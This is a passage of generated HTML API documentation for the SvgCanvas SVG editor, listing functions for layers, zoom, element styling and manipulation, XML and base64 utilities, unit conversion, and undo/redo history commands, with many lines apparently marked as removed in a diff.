</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.moveSelectedToLayer" id=link76 onMouseOver="ShowTip(event, 'tt76', 'link76')" onMouseOut="HideTip('tt76')">moveSelectedToLayer</a></td><td class=SDescription>Moves the selected elements to layername. </td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.getLayerOpacity" id=link77 onMouseOver="ShowTip(event, 'tt77', 'link77')" onMouseOut="HideTip('tt77')">getLayerOpacity</a></td><td class=SDescription>Returns the opacity of the given layer. </td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.setLayerOpacity" id=link78 onMouseOver="ShowTip(event, 'tt78', 'link78')" onMouseOut="HideTip('tt78')">setLayerOpacity</a></td><td class=SDescription>Sets the opacity of the given layer. </td></tr><tr class="SGroup SIndent1"><td class=SEntry><a href="#SelectorManager.Document_functions" >Document functions</a></td><td class=SDescription></td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.clear" id=link79 onMouseOver="ShowTip(event, 'tt79', 'link79')" onMouseOut="HideTip('tt79')">clear</a></td><td class=SDescription>Clears the current document. </td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.linkControlPoints" >linkControlPoints</a></td><td class=SDescription>Alias function</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.getContentElem" id=link80 onMouseOver="ShowTip(event, 'tt80', 'link80')" onMouseOut="HideTip('tt80')">getContentElem</a></td><td class=SDescription>Returns the content DOM element</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.getRootElem" id=link81 onMouseOver="ShowTip(event, 'tt81', 'link81')" onMouseOut="HideTip('tt81')">getRootElem</a></td><td class=SDescription>Returns the root DOM element</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.getSelectedElems" id=link82 onMouseOver="ShowTip(event, 'tt82', 'link82')" onMouseOut="HideTip('tt82')">getSelectedElems</a></td><td class=SDescription>Returns the array with selected DOM elements</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.getResolution" id=link83 onMouseOver="ShowTip(event, 'tt83', 'link83')" onMouseOut="HideTip('tt83')">getResolution</a></td><td class=SDescription>Returns the current dimensions and zoom level in an object</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.getZoom" id=link84 onMouseOver="ShowTip(event, 'tt84', 'link84')" onMouseOut="HideTip('tt84')">getZoom</a></td><td class=SDescription>Returns the current zoom level</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.getVersion" id=link85 onMouseOver="ShowTip(event, 'tt85', 'link85')" onMouseOut="HideTip('tt85')">getVersion</a></td><td class=SDescription>Returns a string which describes the revision number of SvgCanvas.</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.setUiStrings" id=link86 onMouseOver="ShowTip(event, 'tt86', 'link86')" onMouseOut="HideTip('tt86')">setUiStrings</a></td><td class=SDescription>Update interface strings with given values</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.setConfig" id=link87 onMouseOver="ShowTip(event, 'tt87', 'link87')" onMouseOut="HideTip('tt87')">setConfig</a></td><td class=SDescription>Update configuration options with given values</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.getDocumentTitle" id=link88 onMouseOver="ShowTip(event, 'tt88', 'link88')" onMouseOut="HideTip('tt88')">getDocumentTitle</a></td><td class=SDescription>Returns the current document title or an empty string if not found</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.setDocumentTitle" id=link89 onMouseOver="ShowTip(event, 'tt89', 'link89')" onMouseOut="HideTip('tt89')">setDocumentTitle</a></td><td class=SDescription>Adds/updates a title element for the document with the given name. </td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.getEditorNS" id=link90 onMouseOver="ShowTip(event, 'tt90', 'link90')" onMouseOut="HideTip('tt90')">getEditorNS</a></td><td class=SDescription>Returns the editor&rsquo;s namespace URL, optionally adds it to root element</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.setResolution" id=link91 onMouseOver="ShowTip(event, 'tt91', 'link91')" onMouseOut="HideTip('tt91')">setResolution</a></td><td class=SDescription>Changes the document&rsquo;s dimensions to the given size</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.getOffset" id=link92 onMouseOver="ShowTip(event, 'tt92', 'link92')" onMouseOut="HideTip('tt92')">getOffset</a></td><td class=SDescription>Returns an object with x, y values indicating the svgcontent element&rsquo;s position in the editor&rsquo;s canvas.</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.setBBoxZoom" id=link93 onMouseOver="ShowTip(event, 'tt93', 'link93')" onMouseOut="HideTip('tt93')">setBBoxZoom</a></td><td class=SDescription>Sets the zoom level on the canvas-side based on the given value</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.setZoom" id=link94 onMouseOver="ShowTip(event, 'tt94', 'link94')" onMouseOut="HideTip('tt94')">setZoom</a></td><td class=SDescription>Sets the zoom to the given level</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.getMode" id=link95 onMouseOver="ShowTip(event, 'tt95', 'link95')" onMouseOut="HideTip('tt95')">getMode</a></td><td class=SDescription>Returns the current editor mode string</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.setMode" id=link96 onMouseOver="ShowTip(event, 'tt96', 'link96')" onMouseOut="HideTip('tt96')">setMode</a></td><td class=SDescription>Sets the editor&rsquo;s mode to the given string</td></tr><tr class="SGroup SIndent1"><td class=SEntry><a href="#SelectorManager.Element_Styling" >Element Styling</a></td><td class=SDescription></td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.getColor" id=link97 onMouseOver="ShowTip(event, 'tt97', 'link97')" onMouseOut="HideTip('tt97')">getColor</a></td><td class=SDescription>Returns the current fill/stroke option</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.setColor" id=link98 onMouseOver="ShowTip(event, 'tt98', 'link98')" onMouseOut="HideTip('tt98')">setColor</a></td><td class=SDescription>Change the current stroke/fill color/gradient value</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.findDefs" id=link99 onMouseOver="ShowTip(event, 'tt99', 'link99')" onMouseOut="HideTip('tt99')">findDefs</a></td><td class=SDescription>Return the document&rsquo;s &lt;defs&gt; element, create it first if necessary</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.setGradient" id=link100 onMouseOver="ShowTip(event, 'tt100', 'link100')" onMouseOut="HideTip('tt100')">setGradient</a></td><td class=SDescription>Apply the current gradient to selected element&rsquo;s fill or stroke</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.findDuplicateGradient" id=link101 onMouseOver="ShowTip(event, 'tt101', 'link101')" onMouseOut="HideTip('tt101')">findDuplicateGradient</a></td><td class=SDescription>Check if exact gradient already exists</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.setPaint" id=link102 onMouseOver="ShowTip(event, 'tt102', 'link102')" onMouseOut="HideTip('tt102')">setPaint</a></td><td class=SDescription>Set a color/gradient to a fill/stroke</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.getStrokeWidth" id=link103 onMouseOver="ShowTip(event, 'tt103', 'link103')" onMouseOut="HideTip('tt103')">getStrokeWidth</a></td><td class=SDescription>Returns the current stroke-width value</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.setStrokeWidth" id=link104 onMouseOver="ShowTip(event, 'tt104', 'link104')" onMouseOut="HideTip('tt104')">setStrokeWidth</a></td><td class=SDescription>Sets the stroke width for the current selected elements When attempting to set a line&rsquo;s width to 0, this changes it to 1 instead</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.setStrokeAttr" id=link105 onMouseOver="ShowTip(event, 'tt105', 'link105')" onMouseOut="HideTip('tt105')">setStrokeAttr</a></td><td class=SDescription>Set the given stroke-related attribute the given value for selected elements</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.getOpacity" id=link106 onMouseOver="ShowTip(event, 'tt106', 'link106')" onMouseOut="HideTip('tt106')">getOpacity</a></td><td class=SDescription>Returns the current opacity</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.setOpacity" id=link107 onMouseOver="ShowTip(event, 'tt107', 'link107')" onMouseOut="HideTip('tt107')">setOpacity</a></td><td class=SDescription>Sets the given opacity to the current selected elements</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.getOpacity" >getOpacity</a></td><td class=SDescription>Returns the current fill opacity</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.getStrokeOpacity" id=link108 onMouseOver="ShowTip(event, 'tt108', 'link108')" onMouseOut="HideTip('tt108')">getStrokeOpacity</a></td><td class=SDescription>Returns the current stroke opacity</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.setPaintOpacity" id=link109 onMouseOver="ShowTip(event, 'tt109', 'link109')" onMouseOut="HideTip('tt109')">setPaintOpacity</a></td><td class=SDescription>Sets the current fill/stroke opacity</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.getBlur" id=link110 onMouseOver="ShowTip(event, 'tt110', 'link110')" onMouseOut="HideTip('tt110')">getBlur</a></td><td class=SDescription>Gets the stdDeviation blur value of the given element</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.setBlurNoUndo" id=link111 onMouseOver="ShowTip(event, 'tt111', 'link111')" onMouseOut="HideTip('tt111')">setBlurNoUndo</a></td><td class=SDescription>Sets the stdDeviation blur value on the selected element without being undoable</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.setBlurOffsets" id=link112 onMouseOver="ShowTip(event, 'tt112', 'link112')" onMouseOut="HideTip('tt112')">setBlurOffsets</a></td><td class=SDescription>Sets the x, y, with, height values of the filter element in order to make the blur not be clipped. </td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.setBlur" id=link113 onMouseOver="ShowTip(event, 'tt113', 'link113')" onMouseOut="HideTip('tt113')">setBlur</a></td><td class=SDescription>Adds/updates the blur filter to the selected element</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.getBold" id=link114 onMouseOver="ShowTip(event, 'tt114', 'link114')" onMouseOut="HideTip('tt114')">getBold</a></td><td class=SDescription>Check whether selected element is bold or not</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.setBold" id=link115 onMouseOver="ShowTip(event, 'tt115', 'link115')" onMouseOut="HideTip('tt115')">setBold</a></td><td class=SDescription>Make the selected element bold or normal</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.getItalic" id=link116 onMouseOver="ShowTip(event, 'tt116', 'link116')" onMouseOut="HideTip('tt116')">getItalic</a></td><td class=SDescription>Check whether selected element is italic or not</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.setItalic" id=link117 onMouseOver="ShowTip(event, 'tt117', 'link117')" onMouseOut="HideTip('tt117')">setItalic</a></td><td class=SDescription>Make the selected element italic or normal</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.getFontFamily" id=link118 onMouseOver="ShowTip(event, 'tt118', 'link118')" onMouseOut="HideTip('tt118')">getFontFamily</a></td><td class=SDescription>Returns the current font family</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.setFontFamily" id=link119 onMouseOver="ShowTip(event, 'tt119', 'link119')" onMouseOut="HideTip('tt119')">setFontFamily</a></td><td class=SDescription>Set the new font family</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.getFontSize" id=link120 onMouseOver="ShowTip(event, 'tt120', 'link120')" onMouseOut="HideTip('tt120')">getFontSize</a></td><td class=SDescription>Returns the current font size</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.setFontSize" id=link121 onMouseOver="ShowTip(event, 'tt121', 'link121')" onMouseOut="HideTip('tt121')">setFontSize</a></td><td class=SDescription>Applies the given font size to the selected element</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.getText" id=link122 onMouseOver="ShowTip(event, 'tt122', 'link122')" onMouseOut="HideTip('tt122')">getText</a></td><td class=SDescription>Returns the current text (textContent) of the selected element</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.setTextContent" id=link123 onMouseOver="ShowTip(event, 'tt123', 'link123')" onMouseOut="HideTip('tt123')">setTextContent</a></td><td class=SDescription>Updates the text element with the given string</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.setImageURL" id=link124 onMouseOver="ShowTip(event, 'tt124', 'link124')" onMouseOut="HideTip('tt124')">setImageURL</a></td><td class=SDescription>Sets the new image URL for the selected image element. </td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.setRectRadius" id=link125 onMouseOver="ShowTip(event, 'tt125', 'link125')" onMouseOut="HideTip('tt125')">setRectRadius</a></td><td class=SDescription>Sets the rx &amp; ry values to the selected rect element to change its corner radius</td></tr><tr class="SGroup SIndent1"><td class=SEntry><a href="#SelectorManager.Element_manipulation" >Element manipulation</a></td><td class=SDescription></td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.setSegType" id=link126 onMouseOver="ShowTip(event, 'tt126', 'link126')" onMouseOut="HideTip('tt126')">setSegType</a></td><td class=SDescription>Sets the new segment type to the selected segment(s).</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.convertToPath" id=link127 onMouseOver="ShowTip(event, 'tt127', 'link127')" onMouseOut="HideTip('tt127')">convertToPath</a></td><td class=SDescription>Convert selected element to a path, or get the BBox of an element-as-path</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.changeSelectedAttributeNoUndo" id=link128 onMouseOver="ShowTip(event, 'tt128', 'link128')" onMouseOut="HideTip('tt128')">changeSelectedAttributeNoUndo</a></td><td class=SDescription>This function makes the changes to the elements. </td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.changeSelectedAttribute" id=link129 onMouseOver="ShowTip(event, 'tt129', 'link129')" onMouseOut="HideTip('tt129')">changeSelectedAttribute</a></td><td class=SDescription>Change the given/selected element and add the original value to the history stack If you want to change all selectedElements, ignore the elems argument. </td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.deleteSelectedElements" id=link130 onMouseOver="ShowTip(event, 'tt130', 'link130')" onMouseOut="HideTip('tt130')">deleteSelectedElements</a></td><td class=SDescription>Removes all selected elements from the DOM and adds the change to the history stack</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.groupSelectedElements" id=link131 onMouseOver="ShowTip(event, 'tt131', 'link131')" onMouseOut="HideTip('tt131')">groupSelectedElements</a></td><td class=SDescription>Wraps all the selected elements in a group (g) element</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.ungroupSelectedElement" id=link132 onMouseOver="ShowTip(event, 'tt132', 'link132')" onMouseOut="HideTip('tt132')">ungroupSelectedElement</a></td><td class=SDescription>Unwraps all the elements in a selected group (g) element. </td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.moveToTopSelectedElement" id=link133 onMouseOver="ShowTip(event, 'tt133', 'link133')" onMouseOut="HideTip('tt133')">moveToTopSelectedElement</a></td><td class=SDescription>Repositions the selected element to the bottom in the DOM to appear on top of other elements</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.moveToBottomSelectedElement" id=link134 onMouseOver="ShowTip(event, 'tt134', 'link134')" onMouseOut="HideTip('tt134')">moveToBottomSelectedElement</a></td><td class=SDescription>Repositions the selected element to the top in the DOM to appear under other elements</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.moveSelectedElements" id=link135 onMouseOver="ShowTip(event, 'tt135', 'link135')" onMouseOut="HideTip('tt135')">moveSelectedElements</a></td><td class=SDescription>Moves selected elements on the X/Y axis</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.cloneSelectedElements" id=link136 onMouseOver="ShowTip(event, 'tt136', 'link136')" onMouseOut="HideTip('tt136')">cloneSelectedElements</a></td><td class=SDescription>Create deep DOM copies (clones) of all selected elements and move them slightly from their originals</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.alignSelectedElements" id=link137 onMouseOver="ShowTip(event, 'tt137', 'link137')" onMouseOut="HideTip('tt137')">alignSelectedElements</a></td><td class=SDescription>Aligns selected elements</td></tr><tr class="SGroup SIndent1"><td class=SEntry><a href="#SelectorManager.Additional_editor_tools" >Additional editor tools</a></td><td class=SDescription></td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.updateCanvas" id=link138 onMouseOver="ShowTip(event, 'tt138', 'link138')" onMouseOut="HideTip('tt138')">updateCanvas</a></td><td class=SDescription>Updates the editor canvas width/height/position after a zoom has occurred</td></tr><tr class="SFunction SIndent2"><td class=SEntry><a href="#SelectorManager.setBackground" id=link139 onMouseOver="ShowTip(event, 'tt139', 'link139')" onMouseOut="HideTip('tt139')">setBackground</a></td><td class=SDescription>Set the background of the editor (NOT the actual document)</td></tr><tr class="SFunction SIndent2 SMarked"><td class=SEntry><a href="#SelectorManager.cycleElement" id=link140 onMouseOver="ShowTip(event, 'tt140', 'link140')" onMouseOut="HideTip('tt140')">cycleElement</a></td><td class=SDescription>Select the next/previous element within the current layer</td></tr></table></div></div><!--END_ND_SUMMARY--></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.Utils.toXml"></a>Utils.<wbr>toXml</h3><div class=CBody><p>Converts characters in a string to XML-friendly entities.</p><p>Example: &ldquo;&amp;&rdquo; becomes &ldquo;&amp;amp;&rdquo;</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>str</td><td class=CDLDescription>The string to be converted</td></tr></table><h4 class=CHeading>Returns</h4><p>The converted string</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.Utils.fromXml"></a>Utils.<wbr>fromXml</h3><div class=CBody><p>Converts XML entities in a string to single characters.&nbsp; Example: &ldquo;&amp;amp;&rdquo; becomes &ldquo;&amp;&rdquo;</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>str</td><td class=CDLDescription>The string to be converted</td></tr></table><h4 class=CHeading>Returns</h4><p>The converted string</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.Utils.encode64"></a>Utils.<wbr>encode64</h3><div class=CBody><p>Converts a string to base64</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.Utils.decode64"></a>Utils.<wbr>decode64</h3><div class=CBody><p>Converts a string from base64</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.Utils.convertToXMLReferences"></a>Utils.<wbr>convertToXMLReferences</h3><div class=CBody><p>Converts a string to use XML references</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.rectsIntersect"></a>rectsIntersect</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>&quot;rectsIntersect&quot;: function(</td><td class=PParameter nowrap>r1,</td></tr><tr><td></td><td class=PParameter nowrap>r2</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Check if two rectangles (BBoxes objects) intersect each other</p><h4 class=CHeading>Paramaters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>r1</td><td class=CDLDescription>The first BBox-like object</td></tr><tr><td class=CDLEntry>r2</td><td class=CDLDescription>The second BBox-like object</td></tr></table><h4 class=CHeading>Returns</h4><p>Boolean that&rsquo;s true if rectangles intersect</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.snapToAngle"></a>snapToAngle</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>&quot;snapToAngle&quot;: function(</td><td class=PParameter nowrap>x1,</td></tr><tr><td></td><td class=PParameter nowrap>y1,</td></tr><tr><td></td><td class=PParameter nowrap>x2,</td></tr><tr><td></td><td class=PParameter nowrap>y2</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Returns a 45 degree angle coordinate associated with the two given coordinates</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>x1</td><td class=CDLDescription>First coordinate&rsquo;s x value</td></tr><tr><td class=CDLEntry>x2</td><td class=CDLDescription>Second coordinate&rsquo;s x value</td></tr><tr><td class=CDLEntry>y1</td><td class=CDLDescription>First coordinate&rsquo;s y value</td></tr><tr><td class=CDLEntry>y2</td><td class=CDLDescription>Second coordinate&rsquo;s y value</td></tr></table><h4 class=CHeading>Returns</h4><p>Object with the following values: x - The angle-snapped x value y - The angle-snapped y value snapangle - The angle at which to snap</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.text2xml"></a>text2xml</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>&quot;text2xml&quot;: function(</td><td class=PParameter nowrap>sXML</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Cross-browser compatible method of converting a string to an XML tree found this function here: <a href="http://groups.google.com/group/jquery-dev/browse_thread/thread/c6d11387c580a77f" class=LURL target=_top>http://groups.google.com<wbr>/group<wbr>/jquery-dev<wbr>/browse_thread<wbr>/thread<wbr>/c6d11387c580a77f</a></p></div></div></div>
-
-<div class="CGroup"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.Unit_conversion_functions"></a>Unit conversion functions</h3></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.convertToNum"></a>convertToNum</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>convertToNum = function(</td><td class=PParameter nowrap>attr,</td></tr><tr><td></td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Converts given values to numbers.&nbsp; Attributes must be supplied in case a percentage is given</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>attr</td><td class=CDLDescription>String with the name of the attribute associated with the value</td></tr><tr><td class=CDLEntry>val</td><td class=CDLDescription>String with the attribute value to convert</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.setUnitAttr"></a>setUnitAttr</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>setUnitAttr = function(</td><td class=PParameter nowrap>elem,</td></tr><tr><td></td><td class=PParameter nowrap>attr,</td></tr><tr><td></td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Sets an element&rsquo;s attribute based on the unit in its current value.</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>elem</td><td class=CDLDescription>DOM element to be changed</td></tr><tr><td class=CDLEntry>attr</td><td class=CDLDescription>String with the name of the attribute associated with the value</td></tr><tr><td class=CDLEntry>val</td><td class=CDLDescription>String with the attribute value to convert</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.isValidUnit"></a>isValidUnit</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>canvas.isValidUnit = function(</td><td class=PParameter nowrap>attr,</td></tr><tr><td></td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Check if an attribute&rsquo;s value is in a valid format</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>attr</td><td class=CDLDescription>String with the name of the attribute associated with the value</td></tr><tr><td class=CDLEntry>val</td><td class=CDLDescription>String with the attribute value to check</td></tr></table></div></div></div>
-
-<div class="CGroup"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.Undo/Redo_history_management"></a>Undo/<wbr>Redo history management</h3></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.ChangeElementCommand"></a>ChangeElementCommand</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var ChangeElementCommand = this.undoCmd.changeElement = function(</td><td class=PParameter nowrap>elem,</td></tr><tr><td></td><td class=PParameter nowrap>attrs,</td></tr><tr><td></td><td class=PParameter nowrap>text</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>History command to make a change to an element.&nbsp; Usually an attribute change, but can also be textcontent.</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>elem</td><td class=CDLDescription>The DOM element that was changed</td></tr><tr><td class=CDLEntry>attrs</td><td class=CDLDescription>An object with the attributes to be changed and the values they had <b>before</b> the change</td></tr><tr><td class=CDLEntry>text</td><td class=CDLDescription>An optional string visible to user related to this change</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.ChangeElementCommand.apply"></a>ChangeElementCommand.<wbr>apply</h3><div class=CBody><p>Performs the stored change action</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.ChangeElementCommand.unapply"></a>ChangeElementCommand.<wbr>unapply</h3><div class=CBody><p>Reverses the stored change action</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.ChangeElementCommand.elements"></a>ChangeElementCommand.<wbr>elements</h3><div class=CBody><p>Returns array with element associated with this command</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.InsertElementCommand"></a>InsertElementCommand</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var InsertElementCommand = this.undoCmd.insertElement = function(</td><td class=PParameter nowrap>elem,</td></tr><tr><td></td><td class=PParameter nowrap>text</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>History command for an element that was added to the DOM</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>elem</td><td class=CDLDescription>The newly added DOM element</td></tr><tr><td class=CDLEntry>text</td><td class=CDLDescription>An optional string visible to user related to this change</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.InsertElementCommand.apply"></a>InsertElementCommand.<wbr>apply</h3><div class=CBody><p>Re-Inserts the new element</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.InsertElementCommand.unapply"></a>InsertElementCommand.<wbr>unapply</h3><div class=CBody><p>Removes the element</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SvgCanvas.InsertElementCommand.elements"></a>InsertElementCommand.<wbr>elements</h3><div class=CBody><p>Returns array with element associated with this command</p></div></div></div>
-
